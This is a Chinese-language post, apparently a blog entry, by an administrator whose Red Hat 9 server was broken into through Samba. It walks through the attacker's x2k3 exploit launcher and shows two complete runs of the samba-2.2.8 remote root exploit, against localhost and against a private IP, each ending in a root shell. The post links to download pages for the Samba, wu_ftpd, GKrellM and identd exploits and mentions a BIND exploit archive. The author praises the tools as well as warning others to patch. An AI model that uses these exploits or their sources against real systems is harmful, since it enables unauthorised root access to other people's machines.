*nix下溢出获取root的感想
今天看到篇文章：《默认Samba版本在RedHat 9上的溢出获取root演示》
从近日对被黑服务器的安全分析来看，我找到该用户提升权限的工具。他是利用了Samba的安全漏洞提升为了ROOT。
这几天服务器因为要放到公网测试，此时又安装了Samba服务器。结果第二天就发现了服务器被黑
Samba是在Redhat Linux 9上默认的版本。使用了该黑客的强大的exploit工具提升为了root。
提升为root，只需要短短的3秒钟
自己汗一个
从服务器的tmp查找到一个x2k3的目录
[bob@learnin9 tmp]$ cd x2k3/
[bob@learnin9 x2k3]$ ls
bind ftp gkr identd r00t samba
[bob@learnin9 x2k3]$
bind ftp gkr identd samba均为目录，r00t为一个程序，让我们来看看r00t程序的执行情况
[bob@learnin9 x2k3]$ ./r00t
.--------------------------------.
| x2k3 /
| Written by Natok /
+------------------------+----.
| Targets: [1] Samba | <= 2.2.8
| [2] Bind | 8.3.2 / 8.3.3 / 9.2.1
| [3] gkrellmd | <2.1.12
| [4] wu_ftpd | <=2.6.1
| [5] identd | 1.2
+------------------------+----.
| http://www.natok.de /
|____________________________/
./r00t
[bob@learnin9 x2k3]$ ./r00t 127.0.0.1 1
Range to scan : 127.0.0.0
Socket Connecting to port : 139
Press control+c for skipping ! Port 139 IP 127.0.0.0 -> Connection refused!
Port 139 IP 127.0.0.1 -> Connection ok!
[+] Let's sploit ;-)
samba-2.2.8 < remote root exploit by eSDee (www.netric.org|be)
--------------------------------------------------------------
+ Verbose mode.
+ Bruteforce mode. (Linux)
+ Host is running samba.
+ Using ret: [0xbffffed4]
+ Using ret: [0xbffffda8]
+ Using ret: [0xbffffc7c]
+ Using ret: [0xbffffb50]
+ Using ret: [0xbffffa24]
+ Using ret: [0xbffff8f8]
+ Using ret: [0xbffff7cc]
+ Using ret: [0xbffff6a0]
+ Using ret: [0xbffff574]
+ Using ret: [0xbffff448]
+ Using ret: [0xbffff31c]
+ Using ret: [0xbffff1f0]
+ Using ret: [0xbffff0c4]
+ Using ret: [0xbfffef98]
+ Using ret: [0xbfffee6c]
+ Using ret: [0xbfffed40]
+ Using ret: [0xbfffec14]
+ Using ret: [0xbfffeae8]
+ Using ret: [0xbfffe9bc]
+ Using ret: [0xbfffe890]
+ Using ret: [0xbfffe764]
+ Using ret: [0xbfffe638]
+ Using ret: [0xbfffe50c]
+ Using ret: [0xbfffe3e0]
+ Using ret: [0xbfffe2b4]
+ Using ret: [0xbfffe188]
+ Worked!
--------------------------------------------------------------
*** JE MOET JE MUIL HOUWE
Linux learnin9 2.4.20-8 #1 Thu Mar 13 17:54:28 EST 2003 i686 i686 i386 GNU/Linux
uid=0(root) gid=0(root) groups=99(nobody)
id
uid=0(root) gid=0(root) groups=99(nobody)
看到了吧。就这么轻易的被夺取为root了。
我这只是localhost方式，其实远程也是一样的直接获取为root了。
请各位好好看看自己的Redhat 9吧。rpm -qa |grep ***** 是不是汗已经出来了？
还有bind gkrellmd wu_ftpd identd这些溢出程序。我不知道这些程序是否就是属于黑客界一些没有公布出来的溢出程序。呵呵！
我的服务器因为没有启动Bind、gkrellmd、wu_ftpd 、identd，只启动了默认安装的samba，而且还是在公网上，所以那个黑客就中奖入侵到我的服务器了。可喜可贺，我也是终于找到了这么好的工具。
自己欢喜一下。去看了一下http://www.natok.de/ 居然发现是中文的网站，究竟里面是谁？很好奇.........
可以说，r00t程序是Natok写的，但是exploit程序不是他写的，他只是将其它的溢出程序分门别类的。做了个友好的界面，不过能搜集到还是很强的。
希望能结识到这个家伙！
以上文章中提到的程序是natok写的，但是exp不是他的，只是他收集的基础上集合了下而已。翻翻我的东东发现这个samba溢出的代码俺也有是下面这个：
[vitter@Intel vitter]$ ./sambal -v -b 0 -t 21 172.16.37.245
samba-2.2.8 < remote root exploit by eSDee (www.netric.org|be)
--------------------------------------------------------------
+ Verbose mode.
+ Bruteforce mode. (Linux)
+ Host is running samba.
+ Using ret: [0xbffffed4]
+ Using ret: [0xbffffda8]
+ Using ret: [0xbffffc7c]
+ Using ret: [0xbffffb50]
+ Using ret: [0xbffffa24]
+ Using ret: [0xbffff8f8]
+ Using ret: [0xbffff7cc]
+ Using ret: [0xbffff6a0]
+ Using ret: [0xbffff574]
+ Using ret: [0xbffff448]
+ Using ret: [0xbffff31c]
+ Using ret: [0xbffff1f0]
+ Using ret: [0xbffff0c4]
+ Using ret: [0xbfffef98]
+ Using ret: [0xbfffee6c]
+ Using ret: [0xbfffed40]
+ Using ret: [0xbfffec14]
+ Using ret: [0xbfffeae8]
+ Using ret: [0xbfffe9bc]
+ Using ret: [0xbfffe890]
+ Using ret: [0xbfffe764]
+ Using ret: [0xbfffe638]
+ Using ret: [0xbfffe50c]
+ Using ret: [0xbfffe3e0]
+ Using ret: [0xbfffe2b4]
+ Using ret: [0xbfffe188]
+ Using ret: [0xbfffe05c]
+ Using ret: [0xbfffdf30]
+ Using ret: [0xbfffde04]
+ Using ret: [0xbfffdcd8]
+ Using ret: [0xbfffdbac]
+ Using ret: [0xbfffda80]
+ Using ret: [0xbfffd954]
+ Worked!
--------------------------------------------------------------
*** JE MOET JE MUIL HOUWE
Linux Intel 2.4.20-8 #2 Thu Jul 17 14:07:36 CST 2003 i686 i686 i386 GNU/Linux
uid=0(root) gid=0(root) groups=99(nobody)
id
uid=0(root) gid=0(root) groups=99(nobody)
另外几个找了找大部分有，只是bind这个没有，有空找找看。
具体的放出来：samba的：http://www.vfocus.net/art/20070201/1498.html
wu_ftpd的：http://www.vfocus.net/art/20070201/1499.html
GKrellM的：http://www.vfocus.net/art/20070201/1500.html
identd的：http://www.vfocus.net/art/20070201/1501.html
bind的搜集到的bind_exp.zip